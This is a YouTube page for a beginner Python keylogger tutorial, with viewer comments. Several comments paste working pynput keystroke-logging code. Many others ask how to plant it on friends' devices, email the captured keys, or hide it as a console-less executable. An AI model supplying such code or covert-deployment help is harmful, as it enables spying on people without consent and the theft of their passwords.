How To Code A Keylogger In Python | Programming Tutorial For Beginners

Sdílet
Vložit
  • čas přidán 27. 07. 2022
  • Hey guys!
    In today's video, we discuss how to write a keylogger in Python. A keylogger logs all keys on your keyboard and hides in the background. This is a common tool used by hackers for stealing all kinds of information from users without them even knowing. Please don't do this for real! Learning purposes only :D Enjoy!
    These projects are available on GitHub at
    --------------------------------------------------------------------------------------
    github.com/ShaunHalverson/Pyt...
    Add Me On Discord!
    --------------------------------------------------------------------------------------
    Username: Shaun(Hashtag)5626
    Software Engineering / Programming for beginners / variables types / computer science /compsci / coding for beginners / learn how to program / learn how to code / python variables / python for beginners / coding tutorial / programming tutorial
    Want to see more? Click on this spicy link :D
    / @shaunhalverson
    Assets in the thumbnail were provided by artists on
    www.canva.com
    All art and copyright ownership belongs to the artists on Canva and is under the protection of the Canva pro membership.
    #programming #tutorial #learntocode

Komentáře • 149

  • @letmeouturbasementbro
    @letmeouturbasementbro Před 10 měsíci +104

    🗿 I'm definitely using this for educational purposes, thank you 🗿

  • @danimatviolin9679
    @danimatviolin9679 Před 7 měsíci +8

    My friend!!! So much thank you for this! I've been working on HTML&CSS, JavaScript and Python for almost a year now. Done a lot of nice things already, but I always had a problem with installing libraries. Always got errors, never worked. Yeah yeah you all can laugh (I almost cried about it) watched dozens of video's about it, starting to feel really stupid... And your simply explaination / demonstration in the beginning, it worked! Now I finally can make serious progression with Python! Since libraries are half of the work. Thanks for this cool keylogger but MANY MORE THANKS for explaining / demonstrating libraries 😀 Like and a sub

    • @joshuasachiza6135
      @joshuasachiza6135 Před 4 měsíci

      I totally agree with libraries are a lot of work. So much stress just for installing / configuring stuff which usually doesn't even work even if you follow everything, line by line 😂😂

  • @septimusforster
    @septimusforster Před rokem +62

    Thank you. I promise, I'm not a bad guy.

  • @caseyrivera2765
    @caseyrivera2765 Před 3 měsíci +1

    Solid explanation!! Was looking into cyber security projects and this was one of the projects that popped up glad it brought me here!

    • @healthcentral001
      @healthcentral001 Před měsícem

      Me too. Can we link up and learn more stuff together? I'm in cyber security too

  • @TheNight55
    @TheNight55 Před 3 měsíci +6

    from pynput import keyboard
    def keyPressed(key):
    print(str(key))
    with open("keyfile.txt", 'a') as logkey:
    try:
    char = key.char
    logkey.write(char)
    execpt:
    print("Error getting char")
    if__name__ == "__main__":
    listener = keyboard.Listener(on_press=keypressed)
    listener.start()
    input()

  • @fatmanurerturk374
    @fatmanurerturk374 Před rokem +1

    thanks bro amazing video :)

  • @CrawdadSoftware
    @CrawdadSoftware Před rokem +9

    You said you work in cybersec. can you make some tutorials from this field? this would be very intresting to learn

  • @vishaalnnagpal99
    @vishaalnnagpal99 Před 4 měsíci

    Today I see your video and make a keylogger I have trouble starting but get it working 👍👍🙏

  • @TiagoAlves-nw6vd
    @TiagoAlves-nw6vd Před rokem

    Excellent, thanks for sharing...

  • @Its_Alan_Paul
    @Its_Alan_Paul Před rokem

    Dude that was Epic

  • @mio7046
    @mio7046 Před měsícem

    thank you so much for this video, you saved me!

  • @mahdimohandis
    @mahdimohandis Před 2 lety +2

    Thanks man very helpful

  • @annanyagaikkwad9127
    @annanyagaikkwad9127 Před 4 měsíci

    thankyou so much you just saved my grade:))

  • @HungryBones
    @HungryBones Před 5 měsíci

    Is there a way I could open the key file into a certain folder?

  • @pabloandres5845
    @pabloandres5845 Před rokem +1

    thanks bro, you saved me

  • @Its_Alan_Paul
    @Its_Alan_Paul Před rokem

    You deserve a Follow

  • @eZaFJDUBB
    @eZaFJDUBB Před 6 měsíci +1

    aren't all characters in python strings with a length of 1? char is a keyword from c/c++ with character data types?? you could say x = key.x as well or anything

  • @anantika
    @anantika Před rokem +1

    How to i add the on release function to stop the keylogger

  • @subash4468
    @subash4468 Před 5 měsíci

    Thank you so much bro ❤

  • @nikitathakkar3416
    @nikitathakkar3416 Před 5 měsíci +1

    I was trying to find this for so long and finally it works thanks a ton♥

    • @XBeloFn
      @XBeloFn Před 4 měsíci

      can u please tell me how do i send the keylogger to a friend and get his information when he is typing???

    • @proddanyy
      @proddanyy Před 4 měsíci +1

      @@XBeloFn that is illegal bro 💀💀💀💀💀💀

    • @1bbeSuedi
      @1bbeSuedi Před 2 měsíci

      @@proddanyy how do i do it

  • @alexbellury
    @alexbellury Před 8 měsíci

    Does this only work for Windows because I tried this for me Debian based Linux distro and it wouldn't create a .txt file

  • @user-qc9ov2iz1n
    @user-qc9ov2iz1n Před 6 měsíci

    it stop when i pressed ok enter key ;how to fixe this problem and ;how to create new file txt to enregister new use

  • @bahramahady
    @bahramahady Před rokem

    Thank you ❤️

  • @davorfister
    @davorfister Před 8 měsíci

    Thanks im gonna use this for school

  • @wiktormigaszewski8684
    @wiktormigaszewski8684 Před 2 měsíci

    I need an example file of someone who wrote a longer text (a story or a masters thesis) - is there any such public repository? or maybe someone can share such a file?

  • @psichiatri7854
    @psichiatri7854 Před 21 dnem

    hello bro where I can write to you with questions

  • @ehudkotegaro
    @ehudkotegaro Před 7 měsíci

    5:52 should you really use a bare Except? Isn't there a more Specific exception you could use?

  • @hangeryouhen3311
    @hangeryouhen3311 Před 2 měsíci +2

    I ran the code and the Windows Defender didn't alarmed me or anything

  • @AshutoshNigam68
    @AshutoshNigam68 Před 11 měsíci +1

    Can the code record the name of the control clicked and textbox that is receiving the text?

    • @cozypm
      @cozypm Před 3 měsíci

      have you found out?

    • @AshutoshNigam68
      @AshutoshNigam68 Před 3 měsíci

      My team found some sample code to do this job. Been long time, not coding for last 6 months sorry.

  • @user-kt6wt4vf4w
    @user-kt6wt4vf4w Před 16 dny

    Question how would I send this to a mobile device I’m testing it on my phone btw for “educational purposes”

  • @lalithaditya9639
    @lalithaditya9639 Před 8 měsíci +1

    done with the project but how can i use the code for targeting another system

  • @enoobis
    @enoobis Před rokem +6

    ```
    from pynput import keyboard
    def keyPressed(key):
    print(str(key))
    with open("keyfile.txt",'a') as logkey:
    try:
    char = key.char
    logkey.write(char)
    except:
    print("error getting char")
    if __name__ == '__main__':
    listener = keyboard.Listener(on_press=keyPressed)
    listener.start()
    input()
    ```

    • @bonbondonk8389
      @bonbondonk8389 Před 7 měsíci

      from pynput import keyboard
      def keyPressed(key):
      print(str(key))
      with open("keyfile.txt",'a') as logkey:
      try:
      char = key.char
      logkey.write(char)
      except:
      print("error getting char")
      if __name__ == '__main__':
      listener = keyboard.Listener(on_press=keyPressed)
      listener.start()
      input()

    • @enoobis
      @enoobis Před 7 měsíci

      @@bonbondonk8389 what's the difference?

    • @user-ys6yr4pv7y
      @user-ys6yr4pv7y Před 18 dny

      bro why its not working on me?

  • @the8estof
    @the8estof Před 11 měsíci +4

    i installed pynput but i cant import neither pynput nor keyboard from pynput

  • @AshGamerfreesub
    @AshGamerfreesub Před 5 měsíci

    why it doesn't work on password field. it doesn't work when i type my password

  • @user-fm7uh6rt4z
    @user-fm7uh6rt4z Před 15 dny

    Anyone know where the keylogger.txt file is saved?

  • @itscharles2653
    @itscharles2653 Před 3 měsíci

    ty ;)

  • @oentrepreneur
    @oentrepreneur Před 8 měsíci

    Can this keylogger read sms messages

  • @imppaco
    @imppaco Před 4 měsíci

    I was hoping to use examples to understand how a background application would see the Userspace.
    Is there a way for a script to run (ex. on cron/startup), to prompt the User for input, on a Linux system?

    • @XBeloFn
      @XBeloFn Před 4 měsíci

      can u tell me how do i send other people the keylogger like in discord how do i send my friend the keylogger

    • @cryz81
      @cryz81 Před 4 měsíci

      @@XBeloFnmake the .py file an .exe

  • @floridaboyshii78
    @floridaboyshii78 Před 5 měsíci

    Anybody know how I could use this o. Mobile phone

  • @velocisaurus79
    @velocisaurus79 Před 2 měsíci

    My Av didnt detect the keylogger did I do something wrong? and it isnt creating the txt file all of the key logs are being recorded in the terminal?

    • @velocisaurus79
      @velocisaurus79 Před 2 měsíci

      being as though the av didnt detect it how can I turn it off?

  • @PhantomShop.
    @PhantomShop. Před rokem

    how do i get pynput

  • @UpeUPE-ku6si
    @UpeUPE-ku6si Před rokem +1

    How do i make it to accept spaces instead of sending an error??

    • @santinomartella9243
      @santinomartella9243 Před 4 měsíci

      You could make the except write a space also I feel like if you used strings instead of chars it wouldn’t be an issue

  • @vishaalnnagpal99
    @vishaalnnagpal99 Před 4 měsíci

    Please make a video email keylogger from python and how it works in windows

  • @MightBeClive
    @MightBeClive Před 2 měsíci

    hey did anyone get an error cause i got an "error getting char" and I'm not seeing the key file being made for mine wondering if anyone had the same issue?

  • @vxruzdanz
    @vxruzdanz Před 11 měsíci

    doesnt detect uppercase letters

  • @tecassowebandwebappssoluti4337

    Is there a way for code to run remotely like a user downloaded a file from online not knowing it's a keylogger script ... Then on install it's starts logging user key stroke .... Asking for school project.

  • @RandumKontent
    @RandumKontent Před 8 měsíci

    it doesnt log spaces?

  • @mohammedbasraoi7588
    @mohammedbasraoi7588 Před 10 měsíci

    is this a netsite

  • @Myrxx
    @Myrxx Před 2 měsíci

    how i press play (where)

  • @SwainJamie
    @SwainJamie Před 2 měsíci

    Trying to pack this into an .exe file with pyinstaller, tried creating with "--onefile --noconsole" but getting this error "line 15, in
    RuntimeError: input(): lost sys.stdin". Packing it into an exe with the console visible works just fine but of course thats not ideal.

    • @MightBeClive
      @MightBeClive Před 2 měsíci

      hey did you get a char error when you tried it?

    • @MightBeClive
      @MightBeClive Před 2 měsíci

      hey did you get a char error when you tried it?

    • @SwainJamie
      @SwainJamie Před 2 měsíci +1

      @@MightBeClive No character errors just seems to need the console window when running, no way to have it run in the background from what I can figure out anyway.

  • @GvIn2it
    @GvIn2it Před 2 měsíci

    How to make this append a password-protected.zip?

  • @Debuss3156
    @Debuss3156 Před měsícem

    this is surely scary i tried it for educational purpose

  • @Grinderjosh
    @Grinderjosh Před rokem +1

    where did u runned it?
    the app what u use

  • @sturm379
    @sturm379 Před rokem

    but what if I enjected it in someones computer. do it still send me the keys that he used?

    • @konamiitti2343
      @konamiitti2343 Před rokem

      Yes i think so

    • @eZaFJDUBB
      @eZaFJDUBB Před 6 měsíci

      @@konamiitti2343 no, it will make a txt file on their computer

  • @weird-ai-videos
    @weird-ai-videos Před rokem

    i installed pynput but i still have those yellow lines and the listener does not work could you pls help me?

    • @erennere197
      @erennere197 Před rokem

      same happened to me

    • @oijje
      @oijje Před rokem

      same here

    • @anchorpb2007
      @anchorpb2007 Před rokem

      I had the same issue, but I found a solution:
      czcams.com/video/dj5oOPaeIqI/video.html

    • @Drew78787
      @Drew78787 Před rokem +1

      For me it installed it to the wrong version of Python, all I had to do was switch to the version it installed to and it worked

    • @GetBentstream
      @GetBentstream Před 8 měsíci

      listener should be Listener

  • @TheNight55
    @TheNight55 Před 14 dny

    How to makes so i get the keys also (NOT WILL USE IT WILL USE IT TO LEARN CODING AND MORE!)

  • @GvIn2it
    @GvIn2it Před 2 měsíci

    Why doesn't it show spaces?

  • @bilqimlb
    @bilqimlb Před rokem +2

    how to make this to exe ??

  • @donjay6722
    @donjay6722 Před rokem

    i tried running the program but got 'cant open file invalid argument' error in the terminal

    • @boris901
      @boris901 Před rokem

      I've also

    • @Allaboutcars997
      @Allaboutcars997 Před rokem

      Same here had so many error why doesn’t he reply

    • @Derrmyster
      @Derrmyster Před rokem

      @@Allaboutcars997 from what I've noticed you might have to restart the program since the AV deletes the file and if not turned off quickly enough it will shoot out the argument. Hopefully you found a solution before I got here lol

    • @plaksnorr5267
      @plaksnorr5267 Před rokem +1

      yall stupid

    • @rqqted
      @rqqted Před rokem

      try this instead
      from pynput import keyboard
      # creating file and writing to it
      def no(key):
      with open('key.txt','a') as logkey:
      logkey.write(f'
      {key}')
      #the code
      if __name__ == "__main__":
      listener = keyboard.Listener(on_press=no)
      listener.start()
      input()

  • @rafolijf1256
    @rafolijf1256 Před 6 měsíci +2

    bro my antivirus deleted the file, guess i shouldn't have done it on my school computer...

  • @Filiberke123
    @Filiberke123 Před 7 měsíci

    how to stop it?

  • @Python_Tube
    @Python_Tube Před rokem

    If you can tell me how to send this file to email

    • @juanr0919
      @juanr0919 Před rokem

      pretty sure thats illegal if the reciever getting the email doens't know why would you want to do that?

  • @user-yt5fo6pe2q
    @user-yt5fo6pe2q Před 8 měsíci +1

    pls some tell me what to do here

  • @nogaminglife901
    @nogaminglife901 Před rokem +1

    How do I send it to my email?

    • @amitpaul6109
      @amitpaul6109 Před rokem +1

      Wait I will file a case on you 😂😂😂

    • @xzjwq
      @xzjwq Před rokem

      @@amitpaul6109 ong

  • @Grinderjosh
    @Grinderjosh Před 5 měsíci

    Now am wondering how can i make it as a spyware (am just educating) aight

  • @markocska94
    @markocska94 Před rokem

    Great tutorial! Nice to see if that you are a fellow Minecrafter too. Feel free to invite me to play online

  • @vinayakkaushik3231
    @vinayakkaushik3231 Před rokem

    No key file got formed what to do

  • @speedeespeedboi9527
    @speedeespeedboi9527 Před 8 měsíci

    it does not work for games

  • @frasscu
    @frasscu Před rokem

    yoo men , idk if u can help me but when i creare de code and i save it when i tried to open it again i cant .
    and idk how to fix the problem
    thanks

    • @rqqted
      @rqqted Před rokem

      whats ur discord

  • @exploreworldx
    @exploreworldx Před 10 měsíci

    It does not not create the txt file

    • @vinidias015
      @vinidias015 Před 7 měsíci

      you have to select the project folder in the explorer menu

  • @therandomness3728
    @therandomness3728 Před 11 měsíci +1

    You have just informed people that want to hack exactly how to do it.

  • @robealmangco492
    @robealmangco492 Před 11 měsíci

    so if i send that file to my friend's computer and he run on it, and open his social media account, it will send it to my txt ?

    • @amaze3727
      @amaze3727 Před 11 měsíci +3

      No, you're better off using a Remote Access Trojan for that (for educational purposes of course)

  • @davidgolombek2503
    @davidgolombek2503 Před rokem

    i got error 22 in terminal "invalid argument"

    • @Derrmyster
      @Derrmyster Před rokem

      from what I've noticed you might have to restart the program since the AV deletes the file and if not turned off quickly enough it will shoot out the argument. Hopefully you found a solution before I got here lol

    • @metoyxs1832
      @metoyxs1832 Před 11 měsíci

      @@Derrmyster nah i kind of forgot that i ever even wanted to make keylogger

  • @odayzaour6926
    @odayzaour6926 Před rokem

    is it work for android ?

  • @badanapallypraneeth7716

    Module cannot be callable

  • @deniskanja1952
    @deniskanja1952 Před rokem +1

    Can it work on android

  • @htdkujhgnjyjykri9987
    @htdkujhgnjyjykri9987 Před rokem

    Bro pip is not installing

    • @Derrmyster
      @Derrmyster Před rokem

      be sure that your casing is correct along with spelling. if thats all good sometimes you might have to try the other method of : " py -m pip install ' insert here ' " or directly " ' pip install ' insert here '
      here is also a time stamp if you need to rewatch him do it 1:45

    • @htdkujhgnjyjykri9987
      @htdkujhgnjyjykri9987 Před rokem +1

      @@Derrmyster thnx but I have resolved that issue thnx

  • @lazarzivanovic2652
    @lazarzivanovic2652 Před 9 měsíci

    where do u click play man

  • @weird-ai-videos
    @weird-ai-videos Před rokem

    hey i got a error when i run it

  • @tianomerce4621
    @tianomerce4621 Před 2 měsíci

    Hey guys did have someone a finish Keylogger Datei who can send me pleas :D

  • @solomontheuri1033
    @solomontheuri1033 Před 2 měsíci

    🗿

  • @pumpkingolem9122
    @pumpkingolem9122 Před 9 měsíci

    dw i am using it for a game

  • @dehset242
    @dehset242 Před 7 měsíci

    SyntaxError: expected ':'